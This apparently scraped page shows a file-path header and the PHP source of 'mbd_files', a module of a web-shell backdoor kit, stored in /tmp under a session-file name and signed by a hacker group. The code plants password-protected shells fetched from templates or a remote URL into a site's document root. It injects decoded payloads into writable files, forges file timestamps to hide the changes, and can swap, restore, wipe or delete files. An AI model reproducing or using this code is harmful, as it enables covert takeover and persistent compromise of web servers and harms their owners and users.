Current Path : /tmp/mbdvd15/ |
|
Current File : //tmp/mbdvd15/sess_bc2071c1be6d1c313aeef168beb5ae06files |
<?php
class mbd_files extends mbd_core
{
public function __construct($core)
{
$this->core = $core;
$this->_o = $this->core->data->options;
$this->_p = $this->core->data->params;
}
function update()
{
$this->core->data->result = $this->rmdir($this->core->tmp);
}
function add()
{
$name = isset($this->_o->name) ? str_replace('RAND', strtolower($this->rand(6)), trim($this->_o->name)) : 'test';
$ok = array();
foreach($this->_p AS $dir)
{
if(!is_dir($dir)) continue;
$n = $dir.'/'.$name;
if(isset($this->_o->type) && $this->_o->type=='dir'){
if(!is_dir($n) && mkdir($n)) $ok[] = 'Created dir '.$n;
}else{
if(!is_file($n) && touch($n)) $ok[] = 'Created file '.$n;
}
if(isset($this->_o->chmod)) @chmod($n, intval($this->_o->chmod, 8));
}
if(!count($ok)) return $this->out('nothing created');
$this->core->data->result = $ok;
}
function ctime()
{
$reg = isset($this->core->data->options->fname) ? trim($this->core->data->options->fname) : FALSE;
$ok = array();
foreach($this->core->data->params AS $dir)
{
$files = is_dir($dir) ? $this->get_files($dir) : array($dir);
$cnt = 0;
foreach($files AS $v)
{
if((!$reg || @preg_match('/'.$reg.'/i', $v)) && @touch($v, filemtime($v))) $cnt++;
}
if($cnt) $ok[] = 'Reset ctime for '.$dir."\n".' -files: '.$cnt;
}
if(!count($ok)) return $this->out('nothing reset');
$this->core->data->result = $ok;
}
function chmod()
{
$files = $this->core->data->params;
$chmod = $this->core->data->options->chmod;
$ok = 0;
foreach($files AS $v) if(@chmod($v, intval($chmod, 8))) $ok++;
$this->core->data->result = $ok;
}
function attr()
{
$ok = array();
foreach($this->_p AS $v)
{
$a = array();
$o = $v;
if(isset($this->_o->rename))
{
$d = dirname($v);
$n = $d.'/'.$this->_o->rename;
if(!rename($v, $n)) continue;
$a[] = ' -rename to '.$n;
$v = $n;
}
if(isset($this->_o->chmod) && @chmod($v, intval($this->_o->chmod, 8))) $a[] = ' -chmod '.$this->_o->chmod;
if(isset($this->_o->mtime) && @touch($v, is_numeric($this->_o->mtime)?$this->_o->mtime:strtotime($this->_o->mtime))) $a[] = ' -touch '.$this->_o->mtime;
if(count($a))
{
$ok[] = 'Set for '.$o."\n".implode("\n", $a);
}
}
if(!count($ok)) return $this->out('nothing set');
$this->core->data->result = $ok;
}
function insert()
{
$ok = array();
$code = $data = base64_decode($this->core->load('tmp_'.$this->_o->code, TRUE, FALSE));
$rev = isset($this->_o->rev);
$write = isset($this->_o->write);
foreach($this->_p AS $v)
{
if(strpos($v, '@docroot')!==FALSE) $v = str_replace('@docroot', $this->core->root, $v);
if(!is_file($v) || !is_writable($v)) continue;
if(!$write) $data = $this->file_get($v);
if(isset($this->_o->search)) $data = str_replace($this->_o->search, ($rev?$code.$this->_o->search:$this->_o->search.$code), $data);
elseif(isset($this->_o->regexp)) $data = preg_replace('/'.$this->_o->regexp.'/is', $code, $data);
elseif(!$write) $data = $rev ? $code.$data : $data.$code;
if($this->file_put($v, $data)) $ok[] = 'insert to '.$v;
}
if(!count($ok)) return $this->out('nothing is insert');
$this->core->data->result = $ok;
}
function sload()
{
switch($this->core->data->options->type)
{
case 'byurl':
$d = $this->core->get($this->core->data->options->url);
if(empty($d)) return $this->out('empty data by url');
break;
case 'bytmp':
$d = $this->core->load('tmp_'.$this->core->data->options->tmp, TRUE);
break;
default:
$d = $this->core->load('shells_'.$this->core->data->options->type, TRUE);
if(!isset($this->core->data->options->pass)) $d = str_replace('{PASSWORD}', '', $d);
}
$ok = array();
if(count($this->core->data->params)) $out = $this->core->data->params;
else{
if(is_writable($this->core->dir)) $out = array($this->core->dir);
elseif(is_writable($this->core->root)) $out = array($this->core->root);
else return $this->out('not writable dir');
}
foreach($out AS $v)
{
if(strpos($v, '@')!==FALSE)
{
if(strpos($v, '@docroot')!==FALSE) $v = str_replace('@docroot', $this->core->root, $v);
elseif(strpos($v, '@rnd')!==FALSE)
{
}
}
if(!is_writable($v)) continue;
$name = str_replace('RAND', strtolower($this->rand(6)), $this->core->data->options->name);
if(isset($this->core->data->options->pass))
{
if($this->core->data->options->pass=='RAND') $this->core->data->options->pass = $this->rand();
$d = str_replace('{PASSWORD}', md5($this->core->data->options->pass), $d);
}
$vn = $v.'/'.$name;
$f = FALSE;
if(is_dir($v) && $this->file_put($vn, $d)) $f = $vn;
elseif(is_file($v) && $this->file_put($v, $d)) $f = $v;
if($f) $ok[] = 'Loaded '.$this->core->data->options->type."\n".' -file: '.$f."\n".' -link: '.$this->core->link($f).(isset($this->core->data->options->pass)?("\n".' -pass: '.$this->core->data->options->pass):'');
if(isset($this->core->data->options->chmod)) @chmod($f, intval($this->core->data->options->chmod, 8));
}
if(!count($ok)) return $this->out('nothing is loaded');
$this->core->data->result = $ok;
}
function delete($data=0)
{
if(!$data) $data = $this->core->data->params;
$ok = array();
foreach($data AS $v)
if((is_file($v)&&@unlink($v)) || (is_dir($v)&&$this->rmdir($v))) $ok[] = 'Deleted '.$v;
if(!count($ok)) return $this->out('nothing is removed');
$this->core->data->result = $ok;
}
function restore($file, $act)
{
$tmp = __DIR__.'/sess_'.md5($file.'tmp').'r';
switch($act)
{
case 'test':
return is_file($tmp);
case 'set':
return (is_file($tmp) || copy($file, $tmp));
case 'get':
return (is_file($tmp) && copy($tmp, $file));
}
}
function frestore()
{
$ok = array();
foreach($this->core->data->params AS $v)
if($this->restore($v, 'get')) $ok[] = 'Restored '.$v;
if(!count($ok)) return $this->out('nothing is restore');
$this->core->data->result = $ok;
}
function fget()
{
$file = $this->_p[0];
if(!is_file($file)) return $this->out('not file');
if(isset($this->_o->save))
{
$stat = stat($file);
$data = $this->core->load('tmp_'.$this->_o->save, TRUE, FALSE);
$this->restore($file, 'set');
if($this->file_put($file, base64_decode($data))===FALSE) return $this->out('not save');
if(!empty($this->_o->ctime))
{
if($this->_o->ctime==1) $stat[9] += 1;
@touch($file, $stat[9], $stat[8]);
}
}elseif(isset($this->_o->restore)) if(!$this->restore($file, 'get')) return $this->out('not restore');
$this->core->data->result = array(
'data' => base64_encode($this->file_get($file)),
'restore' => $this->restore($file, 'test')
);
}
function clean()
{
$ok = array();
foreach($this->core->data->params AS $v)
if((is_file($v)&&$this->file_put($v, '')!==FALSE) || (is_dir($v)&&$this->rmdir($v, TRUE))) $ok[] = 'Cleared '.$v;
if(!count($ok)) return $this->out('nothing cleared');
$this->core->data->result = $ok;
}
function fcopy()
{
$ok = array();
foreach($this->core->data->params AS $v)
{
foreach($this->core->data->options->out AS $o)
{
if(is_dir($v))
{
if(!is_dir($o)) continue;
$nf = $o.'/'.basename($v);
$n = 1;
while(is_dir($nf))
{
$nf = $o.'/'.basename($v).$n;
$n++;
}
$o = $nf;
}elseif(is_file($v))
{
if(is_dir($o))
{
$nf = $o.'/'.basename($v);
$n = 1;
while(is_file($nf))
{
$nf = $o.'/'.basename($v).$n;
$n++;
}
$o = $nf;
}
}else continue;
if($this->copy($v, $o))
$ok[] = (isset($this->core->data->options->rm)?'Moved':'Copied').' '."\n".' -from: '.$v."\n".' -to '.$o;
}
if(isset($this->core->data->options->rm)) is_dir($v) ? $this->rmdir($v) : @unlink($v);
}
if(!count($ok)) return $this->out('nothing copied');
$this->core->data->result = $ok;
}
function listing()
{
$this->core->data->result = array();
$dirs = empty($this->core->data->params[0]) ? array($this->core->root) : $this->core->data->params;
foreach($dirs AS $dir)
{
$dir = realpath($dir);
$arr = $this->scan_dir($dir);
$adddir = $dir=='/' ? '' : $dir;
//предварительная сортировка
foreach($arr AS $i => $v)
{
$f = $adddir.'/'.$v;
$d = ($v=='..' || @is_dir($f));
$arr[($d?'d':'f').$v] = $v;
unset($arr[$i]);
}
ksort($arr);
$a = array();
$dirinfo = FALSE;
$longarr = FALSE;
$n = 1;
$offset = isset($this->_o->offset) ? $this->_o->offset : 0;
$filter = isset($this->_o->search) ? $this->_o->search : 0;
foreach($arr AS $i => $v)
{
if(!$i) continue;
if($offset)
{
$offset--;
continue;
}
if(!empty($filter) && strpos($v, $filter)===FALSE) continue;
$f = $adddir.'/'.$v;
$link = 0;
if(is_link($f))
{
$link = 1;
$f = readlink($f);
if(strpos($f, '/')!==0) $f = $dir.'/'.$f;
}
$d = ($v=='..' || @is_dir($f));
$ac = @is_readable($f);
$stat = @stat($f);
$type = $d ? 'd' : 'f';
if($ac && function_exists('posix_getpwuid'))
{
$user = posix_getpwuid($stat[4]);
$user = $user['name'];
}else $user = @fileowner($f);
if($ac && function_exists('posix_getgrgid'))
{
$group = posix_getgrgid($stat[5]);
$group = $group['name'];
}else $group = @filegroup($f);
$aa = array(
'name' => $v,
'path' => $f,
'perms' => $ac ? substr(sprintf('%o', @fileperms($f)), -4) : 0,
'access' => @is_writable($f)?2:(@is_readable($f)?1:0),
'type' => $type,
'stat' => $ac ? $stat : 0,
'user' => $user,
'group' => $group,
'link' => $link,
);
if($ac && $v=='.') $dirinfo = $aa;
$a[] = $aa;
if($n>=100)
{
$longarr = count($arr);
break;
}
$n++;
}
//print_r($a);
$this->core->data->result[] = array('files'=>$a, 'patch' => $dir, 'long' => $longarr);
}
}
}
Copyright 2K16 - 2K18 Indonesian Hacker Rulez